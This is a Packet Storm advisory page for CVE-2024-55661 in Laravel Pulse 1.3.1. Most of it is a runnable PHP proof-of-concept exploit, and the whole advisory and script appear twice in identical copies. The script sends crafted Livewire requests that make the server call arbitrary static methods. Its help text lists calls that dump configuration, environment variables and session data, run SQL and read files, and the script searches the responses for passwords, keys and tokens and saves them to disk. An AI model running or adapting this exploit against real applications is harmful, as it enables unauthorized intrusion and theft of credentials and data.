8.8
/ 10
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Description
Proof of concept exploit written in PHP for Laravel Pulse version 1.3.1. This version of Laravel Pulse suffers from an arbitrary code injection vulnerability...
Basic Information
ID
PACKETSTORM:213032
Published
Dec 18, 2025 at 00:00
Affected Product
Affected Versions
=============================================================================================================================================
| # Title : Laravel Pulse 1.3.1 Arbitrary Code Injection |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://pulse.laravel.com/ |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/200719/ & CVE-2024-55661
[+] Summary :
The vulnerability exists in the RemembersQueries trait within Laravel Pulse, specifically in the remember() method which improperly handles user-controlled callable parameters.
[+] POC :
#!/usr/bin/env php
<?php
/**
* Laravel Pulse < 1.3.1 - Arbitrary Code Injection Exploit (CVE-2024-55661)
* Author: Mohammed Idrees Banyamer (@banyamer_security)
* PHP CLI Version - indoushka
*/
if (php_sapi_name() !== 'cli') {
die("ā This script must be run from command line only\n");
}
class LaravelPulseExploit {
private $url;
private $component;
private $method;
private $csrf;
private $key;
private $component_id;
public function __construct($url, $component, $method, $csrf = null, $key = 'exploit', $component_id = 'abcde') {
$this->url = rtrim($url, '/');
$this->component = $component;
$this->method = $method;
$this->csrf = $csrf;
$this->key = $key;
$this->component_id = $component_id;
}
private function buildPayload() {
return [
"type" => "callMethod",
"method" => "remember",
"params" => [$this->method, $this->key],
"id" => $this->component_id,
"name" => $this->component
];
}
public function send() {
$full_url = $this->url . '/livewire/message/' . $this->component;
$payload = $this->buildPayload();
$this->showBanner();
echo "š [INFO] Attack Details:\n";
echo "āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā\n";
echo "šÆ Target: " . $this->url . "\n";
echo "āļø Component: " . $this->component . "\n";
echo "š ļø Method: " . $this->method . "\n";
echo "š Key: " . $this->key . "\n";
echo "š Component ID: " . $this->component_id . "\n";
echo "āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā\n\n";
echo "š [*] Sending exploit to: " . $full_url . "\n";
$headers = [
"Content-Type: application/json",
"X-Livewire: true",
"Accept: application/json"
];
if ($this->csrf) {
$headers[] = "X-CSRF-TOKEN: " . $this->csrf;
}
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $full_url,
CURLOPT_POST => true,
CURLOPT_HTTPHEADER => $headers,
CURLOPT_POSTFIELDS => json_encode($payload),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 10,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$error = curl_error($ch);
curl_close($ch);
if ($error) {
echo "ā [-] Request failed: " . $error . "\n";
exit(1);
}
$this->displayResponse($http_code, $response);
}
private function displayResponse($http_code, $response) {
echo "\nš [RESULTS] Exploitation Results:\n";
echo "āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā\n";
echo "š” Status Code: " . $this->colorizeHttpCode($http_code) . "\n";
if ($http_code == 200) {
$data = json_decode($response, true);
if (json_last_error() === JSON_ERROR_NONE) {
echo "ā JSON decoded successfully\n";
echo "āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā\n";
// Display formatted data
$this->displayFormattedData($data);
// Search for sensitive data
$this->extractSensitiveData($data);
// Save results to file
$this->saveResults($data);
} else {
echo "ā Failed to decode JSON\n";
echo "š Raw content:\n" . $response . "\n";
}
} else {
echo "ā Unexpected server response\n";
echo "š Content:\n" . $response . "\n";
}
}
private function displayFormattedData($data) {
if (isset($data['effects']['html'])) {
echo "š Retrieved HTML:\n";
echo substr($data['effects']['html'], 0, 500) . "...\n";
}
if (isset($data['data'])) {
echo "š¾ Retrieved Data:\n";
foreach ($data['data'] as $key => $value) {
if (is_string($value) && strlen($value) > 100) {
echo " š {$key}: " . substr($value, 0, 100) . "...\n";
} else {
echo " š {$key}: " . json_encode($value) . "\n";
}
}
}
}
private function extractSensitiveData($data) {
echo "\nš [SENSITIVE DATA] Searching for sensitive information:\n";
echo "āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā\n";
$sensitive_patterns = [
'password' => '/password|pwd|pass/i',
'key' => '/key|secret|token|api_key/i',
'database' => '/db_|database|mysql|pgsql/i',
'config' => '/config|setting|env/i'
];
$found_data = [];
array_walk_recursive($data, function($value, $key) use (&$found_data, $sensitive_patterns) {
if (is_string($key)) {
foreach ($sensitive_patterns as $type => $pattern) {
if (preg_match($pattern, $key) && !empty($value)) {
$found_data[$type][] = [
'key' => $key,
'value' => substr(strval($value), 0, 200)
];
}
}
}
});
foreach ($found_data as $type => $items) {
echo "ā ļø " . strtoupper($type) . ":\n";
foreach ($items as $item) {
echo " ⢠{$item['key']}: {$item['value']}\n";
}
echo "\n";
}
if (empty($found_data)) {
echo "ā No obvious sensitive data found\n";
}
}
private function saveResults($data) {
$filename = 'laravel_pulse_results_' . date('Y-m-d_His') . '.json';
file_put_contents($filename, json_encode($data, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE));
echo "š¾ [SAVED] Results saved to: {$filename}\n";
}
private function colorizeHttpCode($code) {
if ($code >= 200 && $code < 300) {
return "ā {$code}";
} elseif ($code >= 400 && $code < 500) {
return "ā ļø {$code}";
} elseif ($code >= 500) {
return "ā {$code}";
} else {
return "šµ {$code}";
}
}
private function showBanner() {
echo "
āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
ā LARAVEL PULSE EXPLOIT ā
ā CVE-2024-55661 - PHP CLI ā
ā Author: indoushka ā
āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā\n\n";
}
}
function showHelp() {
echo "
š USAGE:
āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
š ļø Basic Usage:
php laravel_exploit.php -u URL -c COMPONENT -m METHOD
š Required Options:
-u, --url Laravel application URL (e.g., http://example.com)
-c, --component Livewire component name (e.g., pulse.livewire.config-component)
-m, --method Static method to call
š Additional Options:
-k, --key Cache key (default: exploit)
--csrf Optional CSRF token
--id Component ID (default: abcde)
-h, --help Show this help
šÆ Practical Examples:
php laravel_exploit.php -u http://localhost -c pulse.livewire.config-component -m '\\\Illuminate\\\Support\\\Facades\\\Config::all'
php laravel_exploit.php -u https://target.com -c pulse.livewire.config-component -m '\\\Illuminate\\\Support\\\Facades\\\DB::select' -k db_test
php laravel_exploit.php -u http://app.test -c pulse.livewire.config-component -m '\\\Illuminate\\\Support\\\Facades\\\File::get' --csrf token123
š§ Common Exploitation Methods:
⢠\\Illuminate\\Support\\Facades\\Config::all - Get all configuration
⢠\\Illuminate\\Support\\Facades\\DB::select - Execute SQL queries
⢠\\Illuminate\\Support\\Facades\\File::get - Read files
⢠\\Illuminate\\Support\\Facades\\Env::get - Get environment variables
⢠\\Illuminate\\Support\\Facades\\Session::all - Get session data
ā ļø Note: For ethical use in authorized penetration testing only
\n";
}
function parseArguments() {
$options = getopt("u:c:m:k:h", ["url:", "component:", "method:", "key:", "csrf:", "id:", "help"]);
if (isset($options['h']) || isset($options['help'])) {
showHelp();
exit(0);
}
$missing = [];
if (!isset($options['u']) && !isset($options['url'])) $missing[] = "URL (-u)";
if (!isset($options['c']) && !isset($options['component'])) $missing[] = "Component (-c)";
if (!isset($options['m']) && !isset($options['method'])) $missing[] = "Method (-m)";
if (!empty($missing)) {
echo "ā Missing required parameters:\n";
foreach ($missing as $error) {
echo " ⢠{$error} is required\n";
}
echo "\n";
showHelp();
exit(1);
}
return [
'url' => $options['u'] ?? $options['url'] ?? null,
'component' => $options['c'] ?? $options['component'] ?? null,
'method' => $options['m'] ?? $options['method'] ?? null,
'key' => $options['k'] ?? $options['key'] ?? 'exploit',
'csrf' => $options['csrf'] ?? null,
'id' => $options['id'] ?? 'abcde'
];
}
// Main execution
try {
$args = parseArguments();
$exploit = new LaravelPulseExploit(
$args['url'],
$args['component'],
$args['method'],
$args['csrf'],
$args['key'],
$args['id']
);
$exploit->send();
} catch (Exception $e) {
echo "ā Error: " . $e->getMessage() . "\n";
exit(1);
}
?>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================
| # Title : Laravel Pulse 1.3.1 Arbitrary Code Injection |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://pulse.laravel.com/ |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/200719/ & CVE-2024-55661
[+] Summary :
The vulnerability exists in the RemembersQueries trait within Laravel Pulse, specifically in the remember() method which improperly handles user-controlled callable parameters.
[+] POC :
#!/usr/bin/env php
<?php
/**
* Laravel Pulse < 1.3.1 - Arbitrary Code Injection Exploit (CVE-2024-55661)
* Author: Mohammed Idrees Banyamer (@banyamer_security)
* PHP CLI Version - indoushka
*/
if (php_sapi_name() !== 'cli') {
die("ā This script must be run from command line only\n");
}
class LaravelPulseExploit {
private $url;
private $component;
private $method;
private $csrf;
private $key;
private $component_id;
public function __construct($url, $component, $method, $csrf = null, $key = 'exploit', $component_id = 'abcde') {
$this->url = rtrim($url, '/');
$this->component = $component;
$this->method = $method;
$this->csrf = $csrf;
$this->key = $key;
$this->component_id = $component_id;
}
private function buildPayload() {
return [
"type" => "callMethod",
"method" => "remember",
"params" => [$this->method, $this->key],
"id" => $this->component_id,
"name" => $this->component
];
}
public function send() {
$full_url = $this->url . '/livewire/message/' . $this->component;
$payload = $this->buildPayload();
$this->showBanner();
echo "š [INFO] Attack Details:\n";
echo "āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā\n";
echo "šÆ Target: " . $this->url . "\n";
echo "āļø Component: " . $this->component . "\n";
echo "š ļø Method: " . $this->method . "\n";
echo "š Key: " . $this->key . "\n";
echo "š Component ID: " . $this->component_id . "\n";
echo "āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā\n\n";
echo "š [*] Sending exploit to: " . $full_url . "\n";
$headers = [
"Content-Type: application/json",
"X-Livewire: true",
"Accept: application/json"
];
if ($this->csrf) {
$headers[] = "X-CSRF-TOKEN: " . $this->csrf;
}
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $full_url,
CURLOPT_POST => true,
CURLOPT_HTTPHEADER => $headers,
CURLOPT_POSTFIELDS => json_encode($payload),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 10,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$error = curl_error($ch);
curl_close($ch);
if ($error) {
echo "ā [-] Request failed: " . $error . "\n";
exit(1);
}
$this->displayResponse($http_code, $response);
}
private function displayResponse($http_code, $response) {
echo "\nš [RESULTS] Exploitation Results:\n";
echo "āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā\n";
echo "š” Status Code: " . $this->colorizeHttpCode($http_code) . "\n";
if ($http_code == 200) {
$data = json_decode($response, true);
if (json_last_error() === JSON_ERROR_NONE) {
echo "ā JSON decoded successfully\n";
echo "āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā\n";
// Display formatted data
$this->displayFormattedData($data);
// Search for sensitive data
$this->extractSensitiveData($data);
// Save results to file
$this->saveResults($data);
} else {
echo "ā Failed to decode JSON\n";
echo "š Raw content:\n" . $response . "\n";
}
} else {
echo "ā Unexpected server response\n";
echo "š Content:\n" . $response . "\n";
}
}
private function displayFormattedData($data) {
if (isset($data['effects']['html'])) {
echo "š Retrieved HTML:\n";
echo substr($data['effects']['html'], 0, 500) . "...\n";
}
if (isset($data['data'])) {
echo "š¾ Retrieved Data:\n";
foreach ($data['data'] as $key => $value) {
if (is_string($value) && strlen($value) > 100) {
echo " š {$key}: " . substr($value, 0, 100) . "...\n";
} else {
echo " š {$key}: " . json_encode($value) . "\n";
}
}
}
}
private function extractSensitiveData($data) {
echo "\nš [SENSITIVE DATA] Searching for sensitive information:\n";
echo "āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā\n";
$sensitive_patterns = [
'password' => '/password|pwd|pass/i',
'key' => '/key|secret|token|api_key/i',
'database' => '/db_|database|mysql|pgsql/i',
'config' => '/config|setting|env/i'
];
$found_data = [];
array_walk_recursive($data, function($value, $key) use (&$found_data, $sensitive_patterns) {
if (is_string($key)) {
foreach ($sensitive_patterns as $type => $pattern) {
if (preg_match($pattern, $key) && !empty($value)) {
$found_data[$type][] = [
'key' => $key,
'value' => substr(strval($value), 0, 200)
];
}
}
}
});
foreach ($found_data as $type => $items) {
echo "ā ļø " . strtoupper($type) . ":\n";
foreach ($items as $item) {
echo " ⢠{$item['key']}: {$item['value']}\n";
}
echo "\n";
}
if (empty($found_data)) {
echo "ā No obvious sensitive data found\n";
}
}
private function saveResults($data) {
$filename = 'laravel_pulse_results_' . date('Y-m-d_His') . '.json';
file_put_contents($filename, json_encode($data, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE));
echo "š¾ [SAVED] Results saved to: {$filename}\n";
}
private function colorizeHttpCode($code) {
if ($code >= 200 && $code < 300) {
return "ā {$code}";
} elseif ($code >= 400 && $code < 500) {
return "ā ļø {$code}";
} elseif ($code >= 500) {
return "ā {$code}";
} else {
return "šµ {$code}";
}
}
private function showBanner() {
echo "
āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
ā LARAVEL PULSE EXPLOIT ā
ā CVE-2024-55661 - PHP CLI ā
ā Author: indoushka ā
āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā\n\n";
}
}
function showHelp() {
echo "
š USAGE:
āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
š ļø Basic Usage:
php laravel_exploit.php -u URL -c COMPONENT -m METHOD
š Required Options:
-u, --url Laravel application URL (e.g., http://example.com)
-c, --component Livewire component name (e.g., pulse.livewire.config-component)
-m, --method Static method to call
š Additional Options:
-k, --key Cache key (default: exploit)
--csrf Optional CSRF token
--id Component ID (default: abcde)
-h, --help Show this help
šÆ Practical Examples:
php laravel_exploit.php -u http://localhost -c pulse.livewire.config-component -m '\\\Illuminate\\\Support\\\Facades\\\Config::all'
php laravel_exploit.php -u https://target.com -c pulse.livewire.config-component -m '\\\Illuminate\\\Support\\\Facades\\\DB::select' -k db_test
php laravel_exploit.php -u http://app.test -c pulse.livewire.config-component -m '\\\Illuminate\\\Support\\\Facades\\\File::get' --csrf token123
š§ Common Exploitation Methods:
⢠\\Illuminate\\Support\\Facades\\Config::all - Get all configuration
⢠\\Illuminate\\Support\\Facades\\DB::select - Execute SQL queries
⢠\\Illuminate\\Support\\Facades\\File::get - Read files
⢠\\Illuminate\\Support\\Facades\\Env::get - Get environment variables
⢠\\Illuminate\\Support\\Facades\\Session::all - Get session data
ā ļø Note: For ethical use in authorized penetration testing only
\n";
}
function parseArguments() {
$options = getopt("u:c:m:k:h", ["url:", "component:", "method:", "key:", "csrf:", "id:", "help"]);
if (isset($options['h']) || isset($options['help'])) {
showHelp();
exit(0);
}
$missing = [];
if (!isset($options['u']) && !isset($options['url'])) $missing[] = "URL (-u)";
if (!isset($options['c']) && !isset($options['component'])) $missing[] = "Component (-c)";
if (!isset($options['m']) && !isset($options['method'])) $missing[] = "Method (-m)";
if (!empty($missing)) {
echo "ā Missing required parameters:\n";
foreach ($missing as $error) {
echo " ⢠{$error} is required\n";
}
echo "\n";
showHelp();
exit(1);
}
return [
'url' => $options['u'] ?? $options['url'] ?? null,
'component' => $options['c'] ?? $options['component'] ?? null,
'method' => $options['m'] ?? $options['method'] ?? null,
'key' => $options['k'] ?? $options['key'] ?? 'exploit',
'csrf' => $options['csrf'] ?? null,
'id' => $options['id'] ?? 'abcde'
];
}
// Main execution
try {
$args = parseArguments();
$exploit = new LaravelPulseExploit(
$args['url'],
$args['component'],
$args['method'],
$args['csrf'],
$args['key'],
$args['id']
);
$exploit->send();
} catch (Exception $e) {
echo "ā Error: " . $e->getMessage() . "\n";
exit(1);
}
?>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================